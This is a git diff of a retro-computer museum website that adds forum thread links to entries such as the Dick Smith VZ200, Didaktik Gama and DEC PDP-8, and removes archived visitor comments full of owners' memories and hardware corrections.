has an exxternal floppy option could this be a hard drive instead? could it handle windows? word, or wpad? Where could one get a manual? oc_id: 808 source: url: https://web.archive.org/web/20230531230529/http://www.old-computers.com/museum/computer.asp?c=808 diff --git a/content/museum/david-computer-profi-203.md b/content/museum/david-computer-profi-203.md index f80b85d9..b043b3bb 100644 --- a/content/museum/david-computer-profi-203.md +++ b/content/museum/david-computer-profi-203.md @@ -62,18 +62,7 @@ params: value: Unknown - label: PRICE value: Unknown - comments: - - author: cyberfritz (Germany) - date: Tuesday 12th June 2018 - text: Jack, \*I\* would be very interested to learn more about this computer. I currently try to compile an entry on it in my blog randoc.wordpress.com. - - author: Jack (Canada) - date: Monday 21st July 2014 - text: I just posted a bunch of information about the dAVID Computer, designed and built in Kitchener, Ontario, Canada in the early 1980''s. However, I got an error from this site when I submitted it. If there''s interest I can try again. - jc - - author: matt (earth) - date: Wednesday 26th January 2005 - text: |- - This computer looks an awful lot like a Macintosh\ - Doesn't it! + forum_thread: 206 oc_id: 196 source: url: https://web.archive.org/web/20230608210943/http://www.old-computers.com/museum/computer.asp?c=196 diff --git a/content/museum/dick-smith-cat.md b/content/museum/dick-smith-cat.md index ff16e601..4bb40532 100644 --- a/content/museum/dick-smith-cat.md +++ b/content/museum/dick-smith-cat.md @@ -66,6 +66,7 @@ params: value: A$1195 (see price list in adverts section) tabs: - adverts + forum_thread: 949 adverts: - title: DICK SMITH ADVERT subtitle: '' @@ -84,16 +85,6 @@ params: RGB Cable X-7560 **$44.95**\ High Res. Green Monitor X-1220 **$395.00** image: /media/museum/pubs/dicksmith_cat_pub_s1.jpg - comments: - - author: TB99 (Asia) - date: Wednesday 10th August 2022 - text: I had the vtech 3000 version sold in the USA. It didn''t support Low-Res Apple II mode$this would show garble on the screen..Lots of freeware/Public domain software used this mode. Also, some of the ads in computer shopper implied it had 192k of RAM, when in reality, it only had 64k, so any 128K //c-//e software was out too. The Up arrow key didn''t work in Apple II software, although it did seem to work in the enclosed "Magic //e" word processor. It also came with MagicMemory Database and MagicCalc spreadsheet. I couldn''t get Ultima V to load on it, even though the box said 64k. I''d say most high-res 64k games did work though. - - author: Andrew. - date: Saturday 18th July 2020 - text: It was not fully compatible with the Apple 2. I had this computer and there were games that it would not play. - - author: Martin (Brisbane - Australia) - date: Wednesday 2nd July 2014 - text: This was the first computer I owned - was an amazing experience being able to play the original Sub Logic Flight Simulator despite being limited to a black and white monitor with almost no graphic capability oc_id: 974 source: url: https://web.archive.org/web/20230214150159/http://www.old-computers.com/museum/computer.asp?c=974 diff --git a/content/museum/dick-smith-vz200.md b/content/museum/dick-smith-vz200.md index db716274..11e19b04 100644 --- a/content/museum/dick-smith-vz200.md +++ b/content/museum/dick-smith-vz200.md @@ -72,6 +72,7 @@ params: - emulators - links - docs + forum_thread: 953 photos: - title: LARGER VIEW subtitle: '' @@ -330,90 +331,6 @@ params:  type of document : PDF\  size : 110 Ko\  source : [The VZ200](http://vz200.tripod.com) - comments: - - author: Chris Tapping (Scotland / Australia) - date: Tuesday 1st February 2022 - text: I used to have the VZ200 with the memory expansion, tape player, color plotter and it was amazing. I used to buy a game a week with money I used to make from delivering newspapers. Unfortunately, my mother has thrown everything out at some stage.. I do recall, spending many afternoons writing the sample programs and then modifying them for a bit of fun. - - author: Dave (australia) - date: Monday 26th July 2021 - text: 'Hi All, We are after retro fans to join our ''''VZ200/VZ300 fans" groups on Facebook. We are after more people whom want to make the VZ community grow. We now have arduino and FPGA projects for the VZ. We even have a SD card reader with FAT32 dos running on the VZ ! We''''re also trying to gather all known software and articles for the VZ and Laser computers. Do you still have old VZ software laying around on tape or disc? We want a copy of it to keep for historical purposes. Facebook search : VZ200/VZ300 fans.' - - author: Peter Crichton (Australia) - date: Friday 4th June 2021 - text: I just remember having the keyboard. Did you have to buy a cassette reader seperately? - - author: Greg Bzdell (Canada) - date: Monday 24th May 2021 - text: I was a subscriber to the Dick Smith mail-order catalogue. IN CANADA. I was attracted to the Dick Smith VZ200, but the cost of getting to Canada was enough to deter me. I really liked the specs though. - - author: J D Brantley (Kentucky, USA) - date: Saturday 23rd May 2020 - text: I own a Zenith VZ-200 with the 16K memory module, cassette and joysticks. The base system has 8K ROM Basic and 4K RAM (2KB user, 2KB video). I had a good start on a Sub Commander style game (never finished) with nice wave action working on the horizon. I''m digging it out again to give to my 3 year-old grandson (he LOVES keyboards!). This system (along with a T/S 80) gave me a start towards a Robotics degree and an IT career that lasted 20+ years. In my retirement I''ve moved to Arduino UNO and Raspberry PI (both together cost less than the $99.00 US I paid for the base VZ). - - author: Mr. John D''Alton (Brisbane, Australia.) - date: Monday 30th July 2018 - text: Hobart John Web Site - - author: Dave (Aus) - date: Monday 16th September 2013 - text: |- - Go the VZ''s.\ - Sep 2013: I''ve just managed to get the VZ''s to play WAV file samples through its internal piezo, as well as the start of a .MOD music module player - all done with assembly and easily compiled with the Z88 dev kit. I''d love it if more people were keen enough to come on board. Find me and various music programs over on the VZEMU Yahoogroups email list. Cheers to all whom read this. - - author: Axel (Germany) - date: Wednesday 26th September 2012 - text: This modell even was sold in Germany, it was my first computer. I bought it with 64 kb extrenseion, spend many nights with programmeing. The magazine Chip posted for TRS 80 an assembler and a debugger. With a friend we changed the adresses and used the extension. Most people used Commodore or Atari, because of grafics and music. But there was no MS-Basic, and we wanted to get experience in this standard language. - - author: Jeremy (Australia) - date: Monday 16th January 2012 - text: I still remember the different memory addresses, such as using "POKE 30744,1" to invert the colours in text mode. - - author: dianne johnson - date: Friday 7th October 2011 - text: The vz200 was the first computer that I bought for my children as a Christmas present. They''re still active with computers. Somewhere in storage I should still have it and its big brother the 300. I have 3 grand children and they are all owners of their own laptop. life goes on. - - author: Kerris (Melbourne, Australia) - date: Wednesday 3rd November 2010 - text: This was my First computer in 1983, it was where i learned data entry and coding, it was fun in its day, thinking back to the tapes and green screen its amazing how far its all come. 27 years on and i''m into my third year in I.T, still a passion. Thanks Dick smith. - - author: Mark Baxter (New Zealand) - date: Monday 23rd August 2010 - text: The "horrible keyboard" was greatly improved by varnishing the keys to make them firmer (it also has the side-effect of stopping the markings wearing off as happened to to many much loved rubber keyboard machines of the ''80s). - - author: Andrew Laird (Melbourne, Australia) - date: Friday 2nd November 2007 - text: Somehow I scraped together the cash necessary to purchase a VZ200 and then spent hours playing games and programming in BASIC. My favourite game was Defence Penetrator - after enough practice I was able to make it right through the game and back to the start. Eventually I bought a VZ300, floppy disk drive and other peripherals. Now I am collecting them again, and writing a wiki which aims at documenting the VZ. - - author: Duncan Murray (Adelaide, South Australia) - date: Saturday 16th June 2007 - text: |- - The VZ200 was a fantastic little computer - for the first time you could get a computer with COLOUR and SOUND for under $200 Australian - awesome stuff - - I learnt to program in BASIC on this, seeing that I couldn't afford to buy a lot of software at the time - if I wanted a game I had to write it (often typing in pages from magazines). - - One of them got sold by mail order from LYSCo - it was called "The Lost Sword" - it was my first income from selling software, and pretty exciting. - - author: Mark Hill (Brisbane) - date: Wednesday 1st March 2006 - text: |- - Well, an old piece of real computer history, the VZ-200. I bought one in 1983 and after my first halting steps with BASIC, actually wrote a few simple programs. The thing that turned the VZ-200 from just a little games machine to a real assest as far as I was concerned was the release of the tape based word processor. I used that machine and word-pro program for four years solid during my AAII studies and, for those years being able to have study notes printed (on a rattly Seikosha 9 pin printer) was "state of the art" for a home PC user. I mucked about with the word-pro program and wrote a new graphics (remember the hi-res option) front end to make it look like an Apple program. Well, it worked at the front end but still had the upper case only, 32 character display on screen (a Philips 14 inch colour set) but it did look pretty. Don't ask me to do that now because I would have a, "Senior's moment" and plead failing memory. Speaking of memory, I bought the 16kb expansion pack and what a difference that made. But, saving to tape, oh hell. "READ ERROR B" when trying to load again. I solved that by using metal tapes, very expensive back then but with a building library of study notes and law cases (all typed in by moi), certainty that loading would work. - - The BASIC. At that time in my work the first IBM PC came out and having read the manual for the VZ-200 (programming) I realised that the Dartmouth BASIC version used by IBM was very close to the VZ-200 version. I did this for fun because there was no campatibility between the two machines. - - Old games on the VZ-200. Yes, "Dracula" was a good one. Better I thought was the flight simulator (text only) which actually made you think about fuel loads. - - As a machine, I hated the rubber keyboard but became adept with what we would now call shift changes. - - The "guts" of the machine. Open the case and cut the wiring and then solder a shunt to a pin jack you have mounted in the case. Stops the "beep". Plug a pin jack in and the other end to an amplifier and presto, wall to wall mono sound. Tweak the colour potentiometer and change the green screen to blue (along with stuffing up the rest of the colour registers). - - I still have a VZ-200. Complete with the original Dick Smith manuals (both of them), tapes, original Dick Smith, about a dozen or so, and the joysticks and the bit of paper with the routine to load to enable the sticks. - - What did machines like the VZ-200 teach us. ? - - How to have a go at writing programs in BASIC for a start. Using a little PC (yes, I call it a PC) for something else other than games. Understanding the actual works "guts" of a PC and wringing the best out of a simple 8 bit machine. - - From the VZ-200 I moved to an Amstrad CPC464 and then to a 286, a 486, and many Pentium variations. - - But, we become lazy with these all singing, all dancing machines. I had more fun making a GOSUB call work and doing a POKE / PEEK memory call and actually watching a program I wrote on the VZ-200 work. - - Cheers.\ - Mark Hill - - author: Benjamin Kosta Pazolli (Perth, Australia) - date: Monday 26th September 2005 - text: It has been a while but I now can report that you can make tapes and they do work. I have created an article on my new website about it, and I suggest having a read of it. I was personally amazed at how powerful the VZ200 could be. VZINVADERS seems to be almost a perfect recreation of the original invaders. I also tried Missile Command but that was somewhat less impressive. I think I will try Asteriods next. I recommend it to everyone and have fun. - - author: Benjamin Kosta Pazolli (Perth, Australia) - date: Monday 18th July 2005 - text: I inherited a vz200 from my late grandfather and was amazed by it. He had a lot of tapes but most of them were boring things like tax calculators or somthing. But I was intrested just earlier tonight to find a site that had some games and an emulator with the ability to converter the games that were compatible with it into wav format. I would imagine that you would attach the line out(headphones or speaker output) to the microphone or line in of a tape recorder and start recording and play the file. Make sure to turn the sound on and wait a while after pressing record. The site was http://homepage.powerup.com.au/\~intertek/VZ200/. I also have two vz300 (one for parts). I will report back to see if it is successful. Also as an idea I could create a software archive if people created wav files of the program by doing the opposite of above. Send any questions, comments or other to bpazolli@gmail.com. Also check my website archaiccom.tripod.com. - - author: Scott B (Australia) - date: Tuesday 19th April 2005 - text: Wow this brings back memories as a 13yo playing with the family computer. I spent countless hours typing programs in, hoping to get them save to cassette before the power flickered!!! The machine was the envy of my friends until the C64, unfortunately I never got another computer until 2000. Thinking back it was great fun and great value, you could write your own programs, get free programs by borrowing books from the library and typing them in or simply copyiny you friends cassettes. I might just still have the machine in a cupboard somewhere, maybe I will hook it up and check if it still works. My kids would be amazed at just how much computers have evolved in the last 22 years. related: - /museum/dick-smith-vz300 - /museum/salora-fellow diff --git a/content/museum/dick-smith-vz300.md b/content/museum/dick-smith-vz300.md index 0b7b2460..bf566dd4 100644 --- a/content/museum/dick-smith-vz300.md +++ b/content/museum/dick-smith-vz300.md @@ -71,6 +71,7 @@ params: - emulators - links - docs + forum_thread: 954 photos: - title: LARGER VIEW subtitle: '' @@ -323,39 +324,6 @@ params:  type of document : PDF\  size : 110 Ko\  source : [The VZ200](http://vz200.tripod.com) - comments: - - author: Lisati (New Zealand) - date: Thursday 12th June 2014 - text: I had one 20-something years ago. It was a good little workhorse, until the conduit that carries the blue smoke it runs on sprung a leak. - - author: dave (Australia ) - date: Sunday 16th February 2014 - text: just got one today, have spent the last few hours loading tapes and mucking around with it, for me it all started with the commodore 64, the collection just keeps growing, books, magazines, now a Tandy printer, it seems old computers are becoming a bit more of a active hobby for me - - author: Juan Castro (Rio de Janeiro, Brazil) - date: Wednesday 9th January 2013 - text: 'Typo: the video processor is teh 6847, not 6807. And I wouldn''''t call it a "coprocessor."' - - author: Jeremy (Australia) - date: Monday 16th January 2012 - text: I still remember the different memory addresses, such as using "POKE 30744,1" to invert the colours in text mode. - - author: Andrew Laird (Mlebourne, Australia) - date: Friday 2nd November 2007 - text: |- - I started with a VZ200 and then eventually upgraded to a VZ300 complete with floppy disk drive. I had many hours of fun playing games, learning BASIC programming. - - Now I collect them and have a growing collection of computers, peripherals, books and electronics and computer magazines from the era. - - author: James (Melbourne, Australia) - date: Wednesday 30th November 2005 - text: |- - I have many fond memories of this machine. A friend owed one, while I opted for the Microbee. - - I spent many hours playing with the VZ300 as a kid and learned to like it greatly. - - I've just purchased one this evening and hope that it is in working order so I might make a further contribution your fine site. - - author: Steve (Adelaide, Australia) - date: Saturday 4th September 2004 - text: |- - Great to see that pretty much every old computer is covered on this site. My Dad bought a VZ300 in the mid 80's when I was a kid, without a tape drive though it's entertainment value was limited, programs had to be laboriously typed in each time. We even spent something like 2 or 3 hours typing in a game with colour graphics, only to have it wiped when switched off.\ - The VZ300 gave me an appreciation for text-based adventures (I seem to recall now my father borrowing a tape drive off a workmate once, he still has an old VZ200 tape floating around as evidence of this).\ - All in all, it was a pretty frustrating and forgettable experience, kind of a poor man's Commodore 64 although I'm sure it would have got a lot more use if my Dad hadn't skimped on buying a damn tape drive! related: - /museum/dick-smith-vz200 - /museum/salora-fellow diff --git a/content/museum/didaktik-gama.md b/content/museum/didaktik-gama.md index a0deff67..1ec6d2bf 100644 --- a/content/museum/didaktik-gama.md +++ b/content/museum/didaktik-gama.md @@ -62,6 +62,7 @@ params: - photos - hardware - links + forum_thread: 458 photos: - title: GREY VERSION subtitle: '' @@ -153,25 +154,6 @@ params: - title: ZX Spectrum in the 21st Century url: http://tarjan.uw.hu/zxclones_en.htm text: Nice review of modern Spectrum clones - comments: - - author: baze (Slovakia) - date: Saturday 25th July 2020 - text: At one point there was an urban myth that Didaktik Gama had an alternative Cyrillic character set combined with Czech/Slovak diacritic marks. I guess the sentence "It has only latin character set" is meant to convey that this urban legend is not true. Didaktik Gama never had anything other than a regular Latin character set, although it used a bolder font. - - author: Kubik - date: Wednesday 29th June 2016 - text: |- - The voltages are +5V and approx +20V - the second voltage isn''t stabilized in power supply and may vary. Didaktik Gama stabilizes it to +12V used for video signal circuitry.\ - The memory chips are of various origin. I have seen bulgarian CM8164P, russian KR565RU5G (transcribed from cyrilics), or Samsung KM4164B. I wouldn''t be surprised to see czech MHB4164 in some variants.\ - The 16Kb memory chips are different to the ones used in ZX Spectrum. The chips used in Didaktik Gama need just one voltage, 5V. I have seen Fujitsu MB8118, or Intel D2118. - - author: Martin - date: Friday 13rd December 2013 - text: Hello Damian, it is 5V and 12V, not 24V. - - author: Damian - date: Friday 22nd June 2012 - text: Didaktik gamm power supply is +5v and +24v - - author: Petr (Czech Republic) - date: Wednesday 5th November 2003 - text: Hello, I still have this cool machine and now I am working on a connection with a PC for sending a picture from Didaktik & showing it in a window on the PC. Nice time to U all! related: - /museum/didaktik-kompakt - /museum/didaktik-m diff --git a/content/museum/didaktik-kompakt.md b/content/museum/didaktik-kompakt.md index 0d4522d8..f54f2b78 100644 --- a/content/museum/didaktik-kompakt.md +++ b/content/museum/didaktik-kompakt.md @@ -62,6 +62,7 @@ params: - photos - hardware - links + forum_thread: 929 photos: - title: TOP subtitle: '' @@ -118,15 +119,6 @@ params: - title: ZX Spectrum in the 21st Century url: http://tarjan.uw.hu/zxclones_en.htm text: Nice review of modern Spectrum clones - comments: - - author: mikezt (Slovakia) - date: Friday 10th December 2010 - text: Auch, so many disinformations here. So at first, Kompakt don''t use MSDOS formated disks, but use it''s own format and 720kB per disk. It can''t handle HD diskettes. Memory extension was not provided by Didaktik and PCB was not prepared for it. AY can be connected externaly (Didaktik Melodik). Video can be connected to TV output, composite output or scart. Colour pallete is the same as ZX Spectrum, no extensions. And no CP/M mode. - - author: wilsonsamm (Off the western coast of Norway) - date: Wednesday 15th October 2003 - text: |- - Actually, the Didaktik Kompakt is still available.\ - sintech.de sells them now. related: - /museum/didaktik-gama - /museum/didaktik-m diff --git a/content/museum/didaktik-m.md b/content/museum/didaktik-m.md index da96cfcb..fbac5456 100644 --- a/content/museum/didaktik-m.md +++ b/content/museum/didaktik-m.md @@ -66,6 +66,7 @@ params: tabs: - photos - links + forum_thread: 454 photos: - title: DIDAKTIK M subtitle: '' @@ -155,29 +156,6 @@ params: - title: ZX Spectrum in the 21st Century url: http://tarjan.uw.hu/zxclones_en.htm text: Nice review of modern Spectrum clones - comments: - - author: Miroslav Werner (Czech Republic) - date: Saturday 19th February 2011 - text: |- - Its not true that it has better compatibility with Pentagon than in Spectrum, because of russian ULA. There was almost 100$ compatibility with Spectrum. Two design difference were slightly problematic, but do not cause leaning to russian clones which were even addressed differently etc:\ - a) ULA - provide refresh for all adressing space - it means, all memory space have issue with wait states. Therefore, to bring better compatibility, CPU was running at slightly faster frequency, so approximatelly memory access timing was almost the same. This bring two results: exact timing demos wont work correctly, when uses attribute change to bring 8 colours per attribute, and writing to border was out of timing as well\ - b) different copyright messages in ROM, different charmap (bold fonts) and corrected original bugs caused incompatibility only when tested by stupid games protection, this was not real issue.\ - The most problematic part was the keybord. It was meant to be build as high-quality replacement for original membranne, however, it was a real disaster. It lasts about 2 or 3 years of everyday usage, then it starts to have contact problems, and, plastic parts came to colision with each other and with metal spring. - - author: Udernik (Czech Republic) - date: Sunday 18th March 2007 - text: How great comp it was!! With 5.25" floppy, special monitor called I think Merkur and dot printer BT100 (1pin) it was impressive IT center :-) of 90´s in Czech Republic. - - author: Martin (Earth) - date: Friday 15th December 2006 - text: Price in 1991 was about, if translated to euro, 100EUR. Was a very good clone of ZX Spectrum, almost 100% compatible, I did not see any game or application from ZX that could not work on DIDAKTIK M. I used it for long time. Keyboard was not so bad, needed a bit of training to get accustomed for it, but printed commands and letters on the keys faded away very soon with often using. But I have only good reminds about it... - - author: Oliver Capcik (Earth) - date: Tuesday 9th May 2006 - text: My first computer... oh the emotions are coming. We used a tape player to run the games at the beginning. It took about 10 minutes to load one game! Imagine how wonderful it was to get a floppy drive that would run a game in three seconds. Playing Dizzy, the best game I've ever seen... - - author: Linkman (Trenčín - Slovakia) - date: Saturday 23rd April 2005 - text: In this time it was very excellent gaming machine. - - author: marian (Bratislava, Slovakia) - date: Monday 7th April 2003 - text: There was also a 3,5" FDD drive, called D80. related: - /museum/didaktik-gama - /museum/didaktik-kompakt diff --git a/content/museum/digital-equipment-corporation-300-professional-series.md b/content/museum/digital-equipment-corporation-300-professional-series.md index 2a651d8e..cdd82a1f 100644 --- a/content/museum/digital-equipment-corporation-300-professional-series.md +++ b/content/museum/digital-equipment-corporation-300-professional-series.md @@ -74,6 +74,7 @@ params: tabs: - photos - adverts + forum_thread: 128 photos: - title: MODEL 350 subtitle: '' diff --git a/content/museum/digital-equipment-corporation-4000-axp.md b/content/museum/digital-equipment-corporation-4000-axp.md index 72ca8c08..0960c4ed 100644 --- a/content/museum/digital-equipment-corporation-4000-axp.md +++ b/content/museum/digital-equipment-corporation-4000-axp.md @@ -60,6 +60,7 @@ params: value: $77,000 to $100,000 tabs: - photos + forum_thread: 875 photos: - title: FRONT SIDE subtitle: '' @@ -89,27 +90,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/dec_4000_mainboard_1.jpg - comments: - - author: rod (canada) - date: Wednesday 27th June 2018 - text: Looks more like a dehumidifier or an air conditioner than a computer. - - author: ryan (San Jose, California, USA) - date: Saturday 7th July 2007 - text: I found and purchased one of these at a office going-out-of-business sale in 1996. I have never been able to boot it, some thing must be corrupted? - - author: Merjia (Aus) - date: Sunday 22nd October 2006 - text: |- - Wow, 1992 and up to 2gb of ram?\ - nice - - author: Ian (UK) - date: Tuesday 6th January 2004 - text: VMS is freely available with the Hobbyist licence. See http://www.openvmshobbyist.org/ - - author: amorphka (hungary) - date: Thursday 24th July 2003 - text: And what is your experience? I'd like to start one of these (especially a DEC 4000 AXP model 710) but there is no free OS running on this type because of Futurebus+ :( Can You recommend me something? - - author: Ian (UK) - date: Thursday 5th June 2003 - text: I run one of these with VMS V7.3-1 ! oc_id: 895 source: url: https://web.archive.org/web/20230602205013/http://www.old-computers.com/museum/computer.asp?c=895 diff --git a/content/museum/digital-equipment-corporation-de-68dt.md b/content/museum/digital-equipment-corporation-de-68dt.md index 52f65e4b..523cae9f 100644 --- a/content/museum/digital-equipment-corporation-de-68dt.md +++ b/content/museum/digital-equipment-corporation-de-68dt.md @@ -56,6 +56,7 @@ params: value: Unknown - label: PRICE value: Unknown + forum_thread: 351 oc_id: 347 source: url: https://web.archive.org/web/20230223072024/http://www.old-computers.com/museum/computer.asp?c=347 diff --git a/content/museum/digital-equipment-corporation-decmate-ii.md b/content/museum/digital-equipment-corporation-decmate-ii.md index 9b164d79..9ea9a56e 100644 --- a/content/museum/digital-equipment-corporation-decmate-ii.md +++ b/content/museum/digital-equipment-corporation-decmate-ii.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 826 photos: - title: 'TOWER STAND #1' subtitle: '' @@ -139,25 +140,6 @@ params: Until now, manufacturer have made personal computers that were a hopeful compromise between home and use business. But now, Digital Equipment Corporation offers the first personal computers designed and built strictly for professional use. And since different professionals have different needs, Digital is introducing not one, but three personal computers made to professional standards. image: /media/museum/pubs/digital_decmate2_pub_1.jpg - comments: - - author: Iwin Zane (USA) - date: Wednesday 25th April 2012 - text: The DECmate computer systems all required a bootable 5.25 inch floppy diskette which contained the OS as well as the WPS software. They could also run the COS310 Operating System which after some modification by Digital Research Corp. became CP/M. With the addition of the Z80 board, they were able to run MS-DOS. As the only authorozed dealer in Southern California, I and my staff had great sales experiences with it. Incredibly, we still have some in inventory, as well as brand new DECmate IIIs. - - author: Steven Monrad (US) - date: Wednesday 23rd December 2020 - text: Not all Decmates required booting and loading software from a floppy disc. We got one about 1980 which did. New $4,500 USD. Another a year later with a CP/M board and Winchester hard drive, which contained the CP/M OS and the original PDP-8 emulation. $400 USD used. Chosen over the Rainbow and the Apple II for the dedicated WP incorporated in the PDP 8 version, dedicated WP keyboard, and the 132 column ''screen shift'' beyond the std 80 column screen view. All USA made.Ran a construction co with the WP and Visicalc running on CP/M. We first saw the IBM Winchester drives working at NCR, another once-leading company that vanished. Ken Rosen at DEC stated that there was no future for the computer in the home about that time. - - author: Chuck (United States) - date: Thursday 1st June 2017 - text: '@Steve: In order to run CP/M on this machine, you needed to get the Z80 expansion card with 64k RAM. This allowed this machine to use CP/M AND run most PDP 8 software.' - - author: Steve (USA) - date: Thursday 19th January 2017 - text: Actually, CP/M PREDATES the DECMATE WPS series! The system was certainly not like CP/M. Digital AKA DEC, was not related to Digital Research. Digital Research CP/M required an 8080 processor. The Z80 was 8080 compatible, but the PDP 8 was NOT. CP/M did NOT support the 8086 series of processors, like those MSDOS did. - - author: Irwin Zane (LOS ANGELES/USA) - date: Tuesday 24th April 2012 - text: This powerful (in its day) little computer was built like an Abrams tank. The word processing software was unbeatable and the power supply was designed to last forever. As the only authorozed dealer in Southern California, I and my staff had great sales experiences with it. - - author: Ron Cooper (Tennessee, USA) - date: Friday 14th January 2011 - text: The Z-80 card was also required for the optional spell checker function in WPS. With the Z-80 and CP/M, you could run VisiCalc and later Lotus 123 and dBase. oc_id: 845 source: url: https://web.archive.org/web/20230601212724/http://www.old-computers.com/museum/computer.asp?c=845 diff --git a/content/museum/digital-equipment-corporation-decmate-iii.md b/content/museum/digital-equipment-corporation-decmate-iii.md index 07ac8386..601bc181 100644 --- a/content/museum/digital-equipment-corporation-decmate-iii.md +++ b/content/museum/digital-equipment-corporation-decmate-iii.md @@ -61,6 +61,7 @@ params: tabs: - photos - links + forum_thread: 462 photos: - title: MAIN UNIT subtitle: '' @@ -76,10 +77,6 @@ params: - title: '''''What is a DECmate III ?'''' from the PDP-8 FAQ' url: http://www.faqs.org/faqs/dec-faq/pdp8-models/section-15.html text: Useful - comments: - - author: Ian (UK) - date: Thursday 5th June 2003 - text: that system box looks similar to a VAXstation 2000 I used to carry around as a portable. oc_id: 468 source: url: https://web.archive.org/web/20230202174529/http://www.old-computers.com/museum/computer.asp?c=468 diff --git a/content/museum/digital-equipment-corporation-pdp-8.md b/content/museum/digital-equipment-corporation-pdp-8.md index ff6c4cdc..ba2a48d1 100644 --- a/content/museum/digital-equipment-corporation-pdp-8.md +++ b/content/museum/digital-equipment-corporation-pdp-8.md @@ -53,6 +53,7 @@ params: tabs: - emulators - links + forum_thread: 761 emulators: - title: SIMH url: http://simh.trailing-edge.com/ @@ -75,57 +76,6 @@ params: - title: Yet Another PDP-8 Web Site url: http://www.pdp8.net/ text: Lot of information and pictures - comments: - - author: Oleg Kuznetsov (Russia) - date: Thursday 28th November 2019 - text: Hi folks! I''m from Russia which in past was USSR - we worked on PDP 11/70 series machine in Moscow State University at the Department of Math and Mechanics in 1985-1990. These were indeed great times for us students to program on PDP using mostly Macro Assembler and C++ when it later was also enabled on this multi-user machine. We experimented with FORTRAN to calculate differential equations and find better applications for serious tasks in computing the big data. We also had quite a lot of TETRIS, SNAKE games on our hard disk and we used $UIC$ user entry system which allowed user to RUN and DEBUG the programs - there had been BUILDER of EXE files and this was not too easy to cope. While RSX operating system was quite a fun. All commands we used were well documented and helpful. We even tried to a bit hack the RSX shell to enter as highest priority user while this was only to "improve" our skills in the RSX system engine, And this system was and still IS state of the art I would - suggest. I had SO many nice experience in general understanding of how OS works, what it''s core is and how system of machine commands works as one Orchestra. These WERE the times folks!!!! Br Oleg from Moscow - - author: Chuck Rose (Vermont, USA) - date: Friday 26th December 2014 - text: The first two of the first three machines I ever worked on were PDP-8''s. A PDP-8A in my high school freshman year in a computer math class and a PDP-8E in my junior and senior years in a computer science/data processing vocational program. They were incredible machines for their time. The one in the vocational program had 2 removable rk05e''s and an rk05f hard drives attached and had 15 terminals attached that could all be used at the same time! It did this with only 32k word memory (appx 48k bytes)! It used an operating system called ''ETOS'' which used the rk05f (5MB fixed version) for virtual memory, one of the rk05e''s for the OS and languages (BASIC, DIBOL, COBOL, and Fortran IV) and the other rk05e for data files. - - author: Douglas W. Jones (Iowa City, Iowa, USA) - date: Tuesday 18th February 2014 - text: |- - I am currently leading a group of students in an attempt to restore PDP-8 serial number 85 to operating condition. Our restoration project log is on the web at:\ - $ http://www.cs.uiowa.edu/\~jones/pdp8/UI-8/\ - We''re posting photos of our work $ currently the focus is on reforming the capacitors in the power supply so we can turn it on. That will take a while, since we had to disassemble quite a bit just to get to some of them. - - author: Bob (USA) - date: Tuesday 12th February 2013 - text: |- - I had the privilege of debugging PDP 8S serial no. 2 in the factory at Maynard in the Traditional products dept. in 1970. It had come to the factory to be rebuilt after being struck by lightning in some place in the Midwest.\ - It took me almost two months to repair and get it working again. I almost couldn''t believe It was working again after finding so many blown out transistors and other burnt components. - - author: Bob (USA) - date: Tuesday 12th February 2013 - text: |- - I had the privilege of debugging PDP 8S serial no. 2 in the factory at Maynard in the Traditional products dept. in 1970. It had come to the factory to be rebuilt after being struck by lightning in some place in the Midwest.\ - It took me almost two months to repair and get it working again. I almost couldn''t believe It was working again after finding so many blown out transistors and other burnt components. - - author: Chuck Rose (Vermont, USA) - date: Saturday 24th September 2011 - text: Alex, perhaps you should also get your own facts straight. Unix was first written for the Digital PDP 7.... Not the 8 nor the 11. A quick look at any of the many Unix histories available online will confirm this. - - author: alex - date: Tuesday 12th April 2011 - text: Unix? Get your facts straight. It first ran on PDP-11. - - author: CitizenPete (Ohio) - date: Friday 1st October 2010 - text: |- - @ A$exeo : Unix? Unix? Unix? are you kidding me? - - Ken Olsen would never allow any stinking penguin near any of his machines. - - RMS 4ever! - - LMAO - - author: Chris (Home PC) - date: Sunday 14th October 2007 - text: |- - I have a friend who's dad OWNS two PDP-8s (plus three PDP-11s). - - I'm actually going to be getting one of the 8s and one of the 11s from her. - - Long live the PDP! - - author: A;exeo (Seattle (USA)) - date: Wednesday 3rd May 2006 - text: Well, here it is. First to run UNIX! 12-bit for life. :D related: - /museum/digital-equipment-corporation-vt78 oc_id: 780 diff --git a/content/museum/digital-equipment-corporation-rainbow-100.md b/content/museum/digital-equipment-corporation-rainbow-100.md index 15698c32..e51d475b 100644 --- a/content/museum/digital-equipment-corporation-rainbow-100.md +++ b/content/museum/digital-equipment-corporation-rainbow-100.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 294 photos: - title: FRONT PANEL subtitle: '' @@ -81,62 +82,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/dec_rainbow100_uk-pub_1984.jpg - comments: - - author: Manny (Usa) - date: Sunday 15th May 2016 - text: I Have rainbow software i see people are looking for - - author: Brian Richards (USA) - date: Sunday 16th December 2012 - text: Suitable Solutions sold not only the 286 accelerator boards and clock chips but also DOS3.10 AND the adaptation kits for Windows/286 and later Windows 3.0. You could run MS-Excel (which was a poorer number-cruncher than 1-2-3 but did offer better publication graphing). Suitable Solutions also sold the I-Drive- external DS/DD IBM format drive. $I''m reminded of this as I inventory my Rainbow equipment for eventual ebay-ing or other sale) - - author: Mark Graybill (United States) - date: Saturday 18th December 2010 - text: |- - I have a fondness for the Rainbow 100 because it was how I started my software business back in 1983 (after selling a beautiful ''67 SS 350 Camaro to buy the Rainbow. I still have the very first DEC Rainbow sold by Computerland in the San Fernando Valley. - - I originally wrote a formatting program for the Rainbow, and later wrote Media Master, a disk-to-disk format conversion program. That work in the floppy disk controller world eventually led to the creation of the Fastback Plus backup programs for the Mac and PC. - - Dan Pleasant brought Code Blue to me to market while he was working at HP back in the day. He later was a major contributor to Fastback for the Mac. If you guys are interested, there is some history posted at the homepage URL. - - For those trying to figure out direct screen I/O, I would say it is extremely difficult. I poked around the BIOS back then to try to help my friend Dave Grenewetski (later the CEO of Mindscape) figure out how he might port his graphics program on the Osborne to the Rainbow. I don''t remember the exact reason why now, but I do know I concluded it was more work than the market size merited. - - author: Douglas W. Goodall (United States) - date: Saturday 9th October 2010 - text: |- - I recently restored a Rainbow 100 and I am trying to write some software for it. It is slow going with only the BDOS calls. I wish I could talk to the hardware a bit. Any information would be very appreciated I was a Digital Research Engineer and have a fondness for the machine.\ - doug@goodall.com - - 